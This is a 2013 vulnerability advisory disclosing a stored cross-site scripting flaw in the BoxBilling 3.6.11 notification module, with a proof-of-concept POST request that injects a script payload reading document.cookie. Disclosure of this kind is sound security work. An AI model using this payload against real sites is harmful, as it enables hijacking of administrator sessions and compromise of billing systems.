? BoxBilling 3.6.11 (mod_notification) Stored Cross-Site Scripting Vulnerability Vendor: BoxBilling Product web page: http://www.boxbilling.com Affected version: 3.6.11 (mod_notification 1.0.0) Summary: BoxBilling is a free billing, invoicing & client management software. Desc: BoxBilling suffers from a stored cross-site scripting vulnerability. Input passed to the 'message' POST parameter thru the 'Notification Center' extension/module is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. Tested on: Microsoft Windows 7 Ultimate SP1 (EN) Apache 2.4.2 (Win32) PHP 5.4.7 MySQL 5.5.25a Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2013-5163 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5163.php 05.12.2013 -- POST /boxbilling/index.php/api/admin/notification/add HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://localhost/boxbilling/bb-admin.php/notification Content-Length: 66 Cookie: BOXADMR=e%3DZ2pva29AemVyb3NjaWVuY2UubWs%3D%26p%3DZDAzM2UyMmFlMzQ4YWViNTY2MGZjMjE0MGFlYzM1ODUwYzRkYTk5Nw%3D%3D; BOXSID=gsbhumqgrjja1hrei31v3uc4m6 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache message=%22%3E%3Cscript%3Ealert(document.cookie)%3B%3C%2Fscript%3E